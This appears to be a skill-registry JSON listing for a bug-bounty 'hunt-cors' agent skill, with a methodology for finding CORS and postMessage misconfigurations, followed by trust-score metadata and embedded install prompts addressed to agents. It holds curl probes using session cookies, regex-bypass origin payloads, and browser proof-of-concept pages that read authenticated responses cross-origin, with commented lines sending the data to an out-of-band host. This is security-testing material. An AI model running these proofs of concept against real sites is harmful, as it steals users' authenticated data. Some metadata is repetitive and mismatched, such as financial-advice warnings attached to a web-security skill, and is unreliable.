{"slug":"elementalsouls-hunt-cors","name":"hunt-cors","description":"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.","long_description":"---\nname: hunt-cors\ndescription: \"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.\"\nreport_count: 19\nsources: hackerone_public\n---\n\n# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration\n\n## What actually pays (and what does not)\n\nCORS pays High **only** when an attacker-controlled origin can perform a\n**credentialed** cross-origin read of sensitive authenticated data, and you\nhave a browser PoC proving the response body is readable from `evil.com`.\n\nTwo hard browser rules that kill most \"findings\" — check these FIRST:\n\n- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.**\n  If the server returns `ACAO: *`, the browser refuses to send/expose the\n  response for a `credentials: include` request. A wildcard-only endpoint is\n  **not** credential-exploitable. It is only interesting if the data it serves\n  is sensitive *without* a session (rare) — usually this is Informational/Low.\n- **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It\n  matters only if `ACAO` reflects/allows your specific attacker origin AND a\n  cross-origin credentialed `fetch` actually returns a readable body. ACAC on a\n  response that does not reflect your origin proves nothing.\n\nIf you cannot demonstrate a readable cross-origin authed body in a real\nbrowser, you do not have a High. Do not submit header-diffing alone.\n\n---\n\n## Crown Jewel Targets\n\n- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND\n  sets `ACAC: true` → any site reads authed API responses. The classic High.\n- **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a\n  `data:`/redirect chain) emits `Origin: null`, so any page can read authed data.\n- **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The\n  correct payload depends on *which* flaw (see Phase 3 — this is where most\n  skills get it wrong).\n- **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS\n  policy trusts; take it over, host the PoC there (see hunt-subdomain).\n- **postMessage missing/loose origin check** — handler that processes\n  `event.data` without strictly validating `event.origin`.\n\n---\n\n## Attack Surface Signals\n\n```\nAny endpoint returning an Access-Control-Allow-Origin header\nAPI endpoints:   /api/*, /v1/*, /graphql\nProfile/account: /api/me, /api/profile, /api/user, /api/session\nSecrets/tokens:  /api/tokens, /api/keys, /api/csrf, /api/account/settings\nFinancial:       /api/balance, /api/transactions\nAdmin/internal:  /api/admin/*, /api/internal/*\n```\n\nPrioritize endpoints that (a) require a session cookie and (b) return PII,\ntokens, CSRF tokens, or other secrets in the body.\n\n---\n\n## Step-by-Step Hunting Methodology\n\n### Phase 1 — Discover CORS endpoints\n```bash\n# Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET,\n# and -I sends HEAD which may be handled differently.\nwhile read url; do\n  result=$(curl -s -D - -o /dev/null \"$url\" \\\n    -H \"Origin: https://evil.com\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  [ -n \"$result\" ] && echo \"=== $url ===\" && echo \"$result\"\ndone < recon/$TARGET/api-endpoints.txt\n\n# httpx bulk check\ncat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \\\n  httpx -H \"Origin: https://evil.com\" -match-string \"access-control-allow-origin\"\n```\n\n### Phase 2 — Reflect-any-origin + null origin\n```bash\n# Does the server reflect an arbitrary Origin back?\ncurl -s -D - -o /dev/null https://$TARGET/api/me \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n\n# Vulnerable (the High case):\n#   Access-Control-Allow-Origin: https://evil.com   <- reflects attacker origin\n#   Access-Control-Allow-Credentials: true          <- + credentials => readable\n#\n# NOT exploitable for credentialed theft:\n#   Access-Control-Allow-Origin: *                   <- browser blocks creds read\n#   (no ACAC, or ACAC absent)                        <- not credentialed\n\n# Null-origin trust\ncurl -s -D - -o /dev/null https://$TARGET/api/me \\\n  -H \"Origin: null\" \\\n  -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\"\n# Looking for:  Access-Control-Allow-Origin: null  +  ACAC: true\n```\n\n### Phase 3 — Subdomain / trusted-origin regex bypass\nThe right payload depends on **which** regex flaw the server has. Identify the\nclass first, then send the matching payload. Getting this wrong wastes the test\nand produces false negatives.\n\n| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why |\n|---|---|---|---|\n| `^https?://.*\\.target\\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. |\n| `^https?://.*target\\.com$` | **Missing dot separator** (no `\\.` before `target`) | `https://eviltarget.com` | `.*target\\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. |\n| `^https?://.*\\.target\\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). |\n| `^https?://target\\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. |\n| `^https?://.*\\.target\\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = \"any char\" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. |\n| Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |\n\n```bash\n# Send each class-specific payload and watch what the server reflects.\nfor ORIGIN in \\\n  \"https://evil.target.com\" \\\n  \"https://eviltarget.com\" \\\n  \"https://x.target.com.evil.com\" \\\n  \"https://target.com.evil.com\" \\\n  \"https://target.com%60.evil.com\" \\\n  \"http://target.com\"; do\n  RESULT=$(curl -s -D - -o /dev/null \"https://$TARGET/api/me\" \\\n    -H \"Origin: $ORIGIN\" \\\n    -H \"Cookie: $SESSION_COOKIE\" | grep -i \"access-control\")\n  echo \"[$ORIGIN] -> ${RESULT:-no CORS}\"\ndone\n```\nA bypass is real only if the server reflects **your registerable origin** into\n`ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless\nyou can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).\n\n### Phase 3b — Trusted insecure (HTTP) origin\nIf ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw.\n```bash\ncurl -s -D- -o/dev/null \"https://$TARGET/api/me\" -H \"Origin: http://sub.$TARGET\" -H \"Cookie: $SESSION\" | grep -i access-control\n```\nReal only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)\n\n### Phase 4 — Pre-flight (OPTIONS) gating bypass\nNon-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple\n`Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends\nthe real request if the pre-flight response authorizes the method/header. Two\nthings to test:\n\n1. **Does the pre-flight authorize arbitrary methods/headers for your origin?**\n   If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect\n   whatever you ask for, a malicious origin can drive state-changing requests\n   (chain to CSRF-style writes that JSON/SameSite would otherwise block).\n\n```bash\ncurl -s -D - -o /dev/null -X OPTIONS \"https://$TARGET/api/account/email\" \\\n  -H \"Origin: https://evil.com\" \\\n  -H \"Access-Control-Request-Method: PUT\" \\\n  -H \"Access-Control-Request-Headers: x-custom-auth, content-type\" \\\n  | grep -i \"access-control\"\n# Vulnerable: ACAO reflects evil.com + ACAC:true +\n#   Access-Control-Allow-Methods: PUT  +  Access-Control-Allow-Headers: x-custom-auth\n# => attacker origin can issue authed PUT/DELETE with custom headers.\n```\n\n2. **Is the pre-flight even enforced server-side?** Some servers reflect the\n   origin on `OPTIONS` but the actual GET/POST also reflects — the read path is\n   the bug; the pre-flight just confirms write-path reach. Test the GET/POST\n   directly too — never assume the pre-flight result equals the real-request\n   result. Confirm in a browser, because curl ignores CORS entirely.\n\n### Phase 5 — Browser PoCs (the only thing that proves impact)\ncurl does NOT enforce CORS — it will happily show you a reflected header even\nwhen a browser would block the read. **Every CORS High needs a browser PoC.**\n\n**5a. Reflect-any-origin read** (host on evil.com, open while logged into target):\n```html\n<!doctype html><body><pre id=\"out\"></pre>\n<script>\nfetch(\"https://TARGET/api/me\", {credentials: \"include\"})\n  .then(r => r.text())\n  .then(d => {\n    document.getElementById(\"out\").innerText = d;        // prove readable body\n    // OOB proof: fetch(\"https://OOB-ID.oastify.com/?d=\"+encodeURIComponent(d));\n  })\n  .catch(e => document.getElementById(\"out\").innerText = \"BLOCKED: \" + e);\n</script></body>\n```\nIf you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a\nvalid finding regardless of what curl showed (this is the `ACAO: *` + creds case).\n\n**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner\ndocument must lack `allow-same-origin` so its origin is opaque (`null`):\n```html\n<!doctype html><body>\n<!-- Outer page hosted anywhere -->\n<iframe sandbox=\"allow-scripts\" srcdoc='\n  <script>\n    fetch(\"https://TARGET/api/me\", {credentials: \"include\"})\n      .then(r => r.text())\n      .then(d => parent.postMessage(d, \"*\"));\n  &lt;/script&gt;'></iframe>\n<script>\nwindow.addEventListener(\"message\", e => {\n  // d is the authed body, read cross-origin via a null Origin\n  // fetch(\"https://OOB-ID.oastify.com/?d=\"+encodeURIComponent(e.data));\n  console.log(\"NULL-ORIGIN READ:\", e.data);\n});\n</script></body>\n```\n(Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the\nrequest through a 302 redirect chain whose final hop is cross-scheme.)\n\n**5c. Trusted-subdomain read** — once you control a host that the regex trusts\n(real subdomain via takeover, or a registerable origin that matches a buggy\nregex from Phase 3), host **5a** there. The reflected origin is now an origin\nyou legitimately serve, so the browser allows the read.\n\n### Phase 6 — postMessage origin check\n```bash\n# Find message handlers that don't strictly validate event.origin.\ngrep -rEn \"addEventListener\\(['\\\"]message\" recon/$TARGET/ --include=\"*.js\" \\\n  | grep -v \"\\.origin\"\n# Then audit each hit: does it check event.origin against an allowlist\n# BEFORE using event.data? Weak checks to flag:\n#   .indexOf(\"target.com\") > -1      <- \"target.com.evil.com\" passes\n#   .endsWith(\"target.com\")          <- \"eviltarget.com\" passes\n#   startsWith(\"https://target\")     <- \"https://target.evil.com\" passes\n#   no check at all\n```\npostMessage is a separate class from HTTP CORS — impact is DOM-side (XSS,\nclient-side auth bypass). See hunt-dom for exploitation depth.\n\n---\n\n## Automation (triage only — never the proof)\n```bash\n# corsy — fast reflection/null/pre-domain checks\npip3 install corsy\ncorsy -u https://$TARGET -t 10 --headers \"Cookie: $SESSION_COOKIE\"\n\n# nuclei CORS templates\nnuclei -u https://$TARGET -t http/misconfiguration/cors/\n\n# ","tagline":"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDE","category":"data-analysis","tags":["agent-skill"],"author":"elementalsouls","verified":false,"attribution":{"status":"registry_indexed","statusLabel":"Registry indexed","shortLabel":"REGISTRY INDEXED","sourceLabel":"github candidate review","sourceDetail":"elementalsouls/Claude-BugHunter","creatorName":"elementalsouls","creatorUrl":"https://github.com/elementalsouls","sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","indexedBy":"OpenAgentSkill community index","claimUrl":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors#claim-this-skill","claimCta":"Claim this skill","trustNote":"This listing was indexed from public sources and is not marked official until a maintainer claim is approved.","publicNote":"Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals."},"stats":{"stars":4082,"forks":634,"verified_installs":0,"successful_runs":0,"total_outcomes":0,"rating":0,"review_count":0,"quality_score":48.68},"quality":{"score":83,"tier":"strong","label":"Strong","summary":"Solid option that is likely worth shortlisting for production workflows.","signals":[{"label":"GitHub stars","value":"4.1K","tone":"positive"},{"label":"Freshness","value":"6d ago","tone":"positive"},{"label":"Install ready","value":"Yes","tone":"positive"},{"label":"License","value":"MIT","tone":"neutral"}],"warnings":[]},"trust":{"version":"trust-score-v5","score":69,"base_score":77,"outcome_confidence":0,"tier":"review","label":"Sandbox only","summary":"Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.","recommendedAction":"Run only in a sandbox and compare close alternatives before using it for real work.","decision":{"install_policy":"human_review_before_install","auto_install_allowed":false,"human_review_required":true,"sandbox_first":true,"agent_action":"Compare alternatives before installing.","reasoning":["69/100 Trust Score v5","77/100 Trust Score v4 baseline","Needs more real agent outcomes before unattended install","Install path is available","Review before production"],"review_required_when":["The workspace contains production secrets, payments, private customer data, or irreversible actions.","The install command requests shell, network, credential, database, or broad filesystem access.","Outcome evidence is missing, recently failed, or required human review.","Production credentials, payments, or irreversible account changes without explicit human review","Sensitive private data before reviewing repository code, license, and permission surface","Automatic installation in a production workspace"]},"dimensions":[{"id":"github_adoption","label":"GitHub adoption","score":86,"weight":0.13,"status":"pass","detail":"4.1K GitHub stars"},{"id":"repo_activity","label":"Stars/forks activity","score":83,"weight":0.08,"status":"pass","detail":"4.1K stars, 634 forks; issue activity unavailable in current metadata"},{"id":"maintenance","label":"Recent maintenance","score":100,"weight":0.14,"status":"pass","detail":"6d since push"},{"id":"license","label":"License clarity","score":86,"weight":0.09,"status":"pass","detail":"MIT"},{"id":"documentation","label":"README/SKILL.md completeness","score":86,"weight":0.14,"status":"pass","detail":"Metadata includes enough usage and workflow context"},{"id":"dependency_risk","label":"Dependency/runtime risk","score":46,"weight":0.12,"status":"warn","detail":"command execution surface, credential or environment access"},{"id":"installability","label":"Install availability","score":92,"weight":0.1,"status":"pass","detail":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors"},{"id":"install_safety","label":"Install command safety","score":92,"weight":0.1,"status":"pass","detail":"standard package or runtime install path"},{"id":"permission_surface","label":"Permission surface","score":22,"weight":0.07,"status":"fail","detail":"secrets or environment access, shell or command execution"},{"id":"repository","label":"Repository evidence","score":86,"weight":0.04,"status":"pass","detail":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors"},{"id":"review_status","label":"Review status","score":88,"weight":0.05,"status":"pass","detail":"AI review data available"},{"id":"agent_outcomes","label":"Agent Proven outcomes","score":54,"weight":0.13,"status":"info","detail":"No agent outcome data yet"}],"checks":[{"status":"pass","label":"GitHub adoption","detail":"4.1K GitHub stars"},{"status":"pass","label":"Stars/forks activity","detail":"4.1K stars, 634 forks; issue activity unavailable in current metadata"},{"status":"pass","label":"Recent maintenance","detail":"6d since push"},{"status":"pass","label":"License clarity","detail":"MIT"},{"status":"pass","label":"README/SKILL.md completeness","detail":"Metadata includes enough usage and workflow context"},{"status":"warn","label":"Dependency/runtime risk","detail":"command execution surface, credential or environment access"},{"status":"pass","label":"Install availability","detail":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors"},{"status":"pass","label":"Install command safety","detail":"standard package or runtime install path"},{"status":"fail","label":"Permission surface","detail":"secrets or environment access, shell or command execution"},{"status":"pass","label":"Repository evidence","detail":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors"},{"status":"pass","label":"Review status","detail":"AI review data available"},{"status":"info","label":"Agent Proven outcomes","detail":"No agent outcome data yet"},{"status":"warn","label":"Ownership","detail":"No approved owner claim yet"},{"status":"pass","label":"OpenAgentSkill usage","detail":"1 views, 0 install copies"},{"status":"info","label":"Agent outcomes","detail":"No agent outcome data yet"}],"strengths":["AI review approved","Install path is available","Repository evidence is available","Recently maintained repository","Meaningful GitHub adoption signal","Install command has no obvious high-risk pattern","Outcome loop is ready but needs first real agent run"],"warnings":["Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution","No real agent outcome reports yet","Human review required before unattended installation"],"evidence":{"stars":"4.1K GitHub stars","repoActivity":"4.1K stars, 634 forks","lastPushed":"6d since push","license":"MIT","repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","install":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","installSafety":"standard package or runtime install path","permissionSurface":"secrets or environment access, shell or command execution","documentation":"Strong README/SKILL.md context","agentOutcomes":"No agent outcome data yet","agentProvenScore":0,"outcomeConfidence":"0%","installPolicy":"human_review_before_install"},"installReadiness":{"ready":true,"command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","policy":"human_review_before_install","label":"Human review before install","notes":["Install path is available","Repository evidence is available","License is declared","No Agent Proven outcome evidence yet","6d since push","Financial domain: human review is required before use in a live investment workflow.","Trust Score v5 requires review or sandbox-only use before install."]},"agentCompatibility":["Codex","Claude Code","Cursor","OpenAgentSkill CLI"],"riskSummary":{"level":"medium","label":"Review before production","notes":["Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"outcomeEvidence":{"total":0,"successes":0,"failures":0,"notRelevant":0,"successRate":null,"installAttempts":0,"riskBlocked":0,"setupRequired":0,"installSuccessRate":null,"avgOutputQuality":null,"avgTimeToUsefulMs":null,"productionOutcomes":0,"humanReviewRequired":0,"recentSuccessRate":null,"recentFailureRate":null,"uniqueAgents":0,"agentProvenScore":0,"agentProvenLabel":"Needs first agent run","lastOutcomeAt":null,"label":"No agent outcome data yet"},"autoInstall":{"allowed":false,"sandboxRequired":true,"policy":"human_review_before_install","reason":"Compare alternatives before installing."},"outcome_loop":{"version":"openagentskill-agent-outcome-v4","required_after_install":true,"endpoint":"/api/agent/outcome","method":"POST","event_id_source":"feedback.event_id, install_receipt.resolve_event_id, or decision_packet.outcome_feedback.event_id","expected_outcomes":["success","failed","not_relevant","blocked_by_risk","setup_required"],"required_fields":["event_id","skill_slug","task"],"quality_fields":["task_success","output_quality","error_type","human_review_required","used_in_production","workspace","evidence_url","time_to_useful_ms","source_version"],"ranking_inputs_updated":["Trust Score v5 outcome confidence","Agent Proven Score","Resolve ranking task-fit evidence","Skill detail machine-readable metadata","Outcome leaderboard"]},"agent_contract":{"suited_tasks":["data-analysis","agent-skill"],"suited_agents":["Codex","Claude Code","Cursor","OpenAgentSkill CLI"],"install_command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","trust_score":69,"trust_version":"trust-score-v5","risk_level":"medium","do_not_use_when":["Production credentials, payments, or irreversible account changes without explicit human review","Sensitive private data before reviewing repository code, license, and permission surface","Automatic installation in a production workspace","Autonomous investment, trading, tax, or suitability decisions without a qualified human review"],"before_install":["Read the audit page and machine-readable metadata.","Confirm the install command, license, and permission surface fit the workspace.","Get explicit human approval or choose an alternative before installing."],"after_run":["Report the outcome to /api/agent/outcome using the resolve event id.","Include output_quality, workspace, human_review_required, and evidence_url when available.","Re-resolve before broad production rollout."]},"bestFor":["data-analysis","agent-skill"],"doNotUseFor":["Production credentials, payments, or irreversible account changes without explicit human review","Sensitive private data before reviewing repository code, license, and permission surface","Automatic installation in a production workspace","Autonomous investment, trading, tax, or suitability decisions without a qualified human review"],"knownRisks":["Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"],"backward_compatible":{"trust_score_v4":{"version":"trust-score-v4","score":77,"tier":"strong","label":"Strong shortlist","summary":"Good trust signals with a few areas worth checking before rollout."}}},"trust_score_v5":{"version":"trust-score-v5","score":69,"base_score":77,"outcome_confidence":0,"tier":"review","label":"Sandbox only","summary":"Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.","recommendedAction":"Run only in a sandbox and compare close alternatives before using it for real work.","decision":{"install_policy":"human_review_before_install","auto_install_allowed":false,"human_review_required":true,"sandbox_first":true,"agent_action":"Compare alternatives before installing.","reasoning":["69/100 Trust Score v5","77/100 Trust Score v4 baseline","Needs more real agent outcomes before unattended install","Install path is available","Review before production"],"review_required_when":["The workspace contains production secrets, payments, private customer data, or irreversible actions.","The install command requests shell, network, credential, database, or broad filesystem access.","Outcome evidence is missing, recently failed, or required human review.","Production credentials, payments, or irreversible account changes without explicit human review","Sensitive private data before reviewing repository code, license, and permission surface","Automatic installation in a production workspace"]},"dimensions":[{"id":"github_adoption","label":"GitHub adoption","score":86,"weight":0.13,"status":"pass","detail":"4.1K GitHub stars"},{"id":"repo_activity","label":"Stars/forks activity","score":83,"weight":0.08,"status":"pass","detail":"4.1K stars, 634 forks; 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issue activity unavailable in current metadata"},{"status":"pass","label":"Recent maintenance","detail":"6d since push"},{"status":"pass","label":"License clarity","detail":"MIT"},{"status":"pass","label":"README/SKILL.md completeness","detail":"Metadata includes enough usage and workflow context"},{"status":"warn","label":"Dependency/runtime risk","detail":"command execution surface, credential or environment access"},{"status":"pass","label":"Install availability","detail":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors"},{"status":"pass","label":"Install command safety","detail":"standard package or runtime install path"},{"status":"fail","label":"Permission surface","detail":"secrets or environment access, shell or command execution"},{"status":"pass","label":"Repository evidence","detail":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors"},{"status":"pass","label":"Review status","detail":"AI review data available"},{"status":"info","label":"Agent Proven outcomes","detail":"No agent outcome data yet"},{"status":"warn","label":"Ownership","detail":"No approved owner claim yet"},{"status":"pass","label":"OpenAgentSkill usage","detail":"1 views, 0 install copies"},{"status":"info","label":"Agent outcomes","detail":"No agent outcome data yet"}],"strengths":["AI review approved","Install path is available","Repository evidence is available","Recently maintained repository","Meaningful GitHub adoption signal","Install command has no obvious high-risk pattern","Outcome loop is ready but needs first real agent run"],"warnings":["Financial research output is not financial advice; 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After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {\"event_id\":\"install_<unique-id>\",\"skill_slug\":\"elementalsouls-hunt-cors\",\"task\":\"Install hunt-cors\",\"agent\":\"claude-code\",\"outcome\":\"success\",\"install_used\":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes."},{"id":"cursor","label":"Cursor","kind":"agent-prompt","value":"Turn \"hunt-cors\" from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors into a reusable Cursor project rule or agent instruction. Preserve the core workflow, adapt paths to this repo, and keep the rule scoped to tasks where it is relevant. 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Report success only after the skill is installed and a minimal verification passes."}],"handoff_url":"https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install","manifest_url":"https://www.openagentskill.com/api/registry/manifest/elementalsouls-hunt-cors"},"trust":{"score":77,"label":"Strong shortlist","version":"trust-score-v4","install_policy":"human_review_before_install","evidence":{"stars":"4.1K GitHub stars","repoActivity":"4.1K stars, 634 forks","lastPushed":"6d since push","license":"MIT","repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","install":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","installSafety":"standard package or runtime install path","permissionSurface":"secrets or environment access, shell or command execution","documentation":"Strong README/SKILL.md context","agentOutcomes":"No agent outcome data yet"},"outcome_evidence":{"total":0,"successes":0,"failures":0,"not_relevant":0,"success_rate":null,"recent_success_rate":null,"recent_failure_rate":null,"install_attempts":0,"install_success_rate":null,"risk_blocked":0,"setup_required":0,"avg_output_quality":null,"production_outcomes":0,"last_outcome_at":null,"label":"No agent outcome data yet"},"auto_install":{"allowed":false,"sandbox_required":true,"reason":"Human review or sandbox validation is required before automatic installation."},"best_for":["data-analysis","agent-skill"],"known_risks":["Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"agent_proven":{"version":"agent-proven-v1","score":0,"tier":"unproven","label":"Needs first agent run","summary":"No agent outcome reports yet. Use Resolve, run one narrow sandbox task, then report the result.","metrics":{"totalOutcomes":0,"successfulOutcomes":0,"failedOutcomes":0,"installAttempts":0,"installSuccessRate":null,"successRate":null,"recentSuccessRate":null,"recentFailureRate":null,"riskBlocked":0,"setupRequired":0,"notRelevant":0,"avgOutputQuality":null,"avgTimeToUsefulMs":null,"productionOutcomes":0,"humanReviewRequired":0,"uniqueAgents":0,"lastOutcomeAt":null},"signals":[],"penalties":["No real agent outcome evidence yet"]},"audit":{"score":83,"risk_level":"needs_review","risk_label":"Needs review","warnings":["Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision.","Quality score needs review","Permission surface needs review: secrets or environment access, shell or command execution","Dependency/runtime risk: command execution surface, credential or environment access","Permission surface: secrets or environment access, shell or command execution"]},"safety_gate":{"tier":"experimental","label":"Experimental","auto_install_policy":"review","auto_install_allowed":false,"human_review_required":true,"blocked":false,"recommended_action":"Test manually in an isolated workspace and compare against safer alternatives."},"quality":{"score":83,"label":"Strong"},"supply":{"track":"Coding and developer agents","scenario":"Testing and QA","maintenance":"6d since push","risk":"Needs review"},"alternative_skills":[],"do_not_use_when":["teams that need a vendor-supported SLA","high-compliance environments without internal security review","No major risk signals from current metadata","High-risk permission hints: Shell or command execution, Secrets or environment access","Dependency or permission surface needs review","Permission surface may require sandboxing","Financial research output is not financial advice; require human review before any live investment decision","Financial research output is not financial advice; require human review before any live investment decision."],"agent_contract":{"task_input":"Use hunt-cors in an agent workflow","recommended_action":"Test manually in an isolated workspace and compare against safer alternatives.","install_policy":"review","minimum_review_before_use":["Trust: 77/100 Strong shortlist","Audit: 83/100 Needs review","Safety: 39/100 Avoid automatic install","Review repository, license, install command, and permission surface before production use."],"expected_agent_output":{"selected_skill":"elementalsouls-hunt-cors (hunt-cors)","install_command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","risk_summary":"Needs review; Experimental; Review before production","verification_result":"Report the smallest successful task, files touched, warnings, and any missing setup."}},"outcome_feedback":{"endpoint":"https://www.openagentskill.com/api/agent/outcome","method":"POST","requires_resolve_event_id":true,"event_id_source":"Use install_receipt.outcome_feedback.event_id or feedback.event_id returned by /api/agent/resolve for the current task.","expected_outcomes":["success","failed","not_relevant","blocked_by_risk","setup_required"],"payload_template":{"event_id":"<install_receipt.outcome_feedback.event_id or feedback.event_id from /api/agent/resolve>","skill_slug":"elementalsouls-hunt-cors","task":"Use hunt-cors in an agent workflow","agent":"codex","outcome":"success","install_used":true,"risk_blocked":false,"setup_required":false,"task_success":true,"output_quality":4,"error_type":null,"human_review_required":false,"workspace":"sandbox","time_to_useful_ms":120000,"notes":"Report the smallest successful task, setup friction, files touched, and risk notes."}},"endpoints":{"web":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors","api":"https://www.openagentskill.com/api/agent/skills/elementalsouls-hunt-cors","audit":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit","eval":"https://www.openagentskill.com/api/agent/evals?slug=elementalsouls-hunt-cors&task=Use%20hunt-cors%20in%20an%20agent%20workflow&max_risk=medium","resolve":"https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20in%20an%20agent%20workflow&agent=codex&max_risk=medium","receipt":"https://www.openagentskill.com/api/agent/receipt?task=Use%20hunt-cors%20in%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text","install":"https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install","manifest":"https://www.openagentskill.com/api/registry/manifest/elementalsouls-hunt-cors"}},"machine_metadata":{"version":"openagentskill-agent-metadata-v2","skill":{"slug":"elementalsouls-hunt-cors","name":"hunt-cors","description":"Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers.","category":"data-analysis","url":"https://www.openagentskill.com/skills/elementalsouls-hunt-cors","repository":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors","github_repo":"elementalsouls/Claude-BugHunter"},"suited_tasks":["Browser automation workflows","Claude Code teams","teams that value GitHub adoption signals","Navigate pages","Click and type safely","Check visual and DOM state","Run test suites","Capture failures"],"suited_agents":["Codex","Claude Code","Cursor","OpenAgentSkill CLI","Browser agents","CLI"],"install":{"command":"npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors","ready":true,"targets":[{"id":"openagentskill-cli","label":"CLI","kind":"command","value":"npx --yes https://github.com/Leon-Drq/openagentskill/releases/download/cli-v0.3.0/openagentskill-0.3.0.tgz add elementalsouls-hunt-cors"},{"id":"codex","label":"Codex","kind":"agent-prompt","value":"Install the \"hunt-cors\" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent 